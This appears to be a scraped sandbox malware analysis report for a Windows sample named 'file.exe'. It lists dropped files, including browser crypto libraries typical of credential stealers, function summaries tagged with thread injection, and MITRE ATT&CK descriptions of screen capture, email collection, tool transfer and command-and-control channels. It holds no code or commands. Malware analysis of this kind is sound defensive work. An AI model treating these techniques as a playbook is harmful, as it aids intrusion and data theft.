Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAEHIEBGHDAFIEBGIEHJECGCGC

C:\ProgramData\BGHIIJDGHCBFIECBKEGH

C:\ProgramData\CBAKEBGI

C:\ProgramData\DBGHJEBKJEGHJKECAAKJKEGIIE

C:\ProgramData\DGHIDHCAAKECGCBFIJDBAAFBGH

C:\ProgramData\EGHJKFHJJJKJJJJKEHCB

C:\ProgramData\HJJKJJDH

C:\ProgramData\IEHDBGDHDAECBGDHJKFI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 0294212D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 02942464 Relevance: 3.0, APIs: 2, Instructions: 36
threadCOMMON

Function 02731279 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 02731280 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 6C3535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre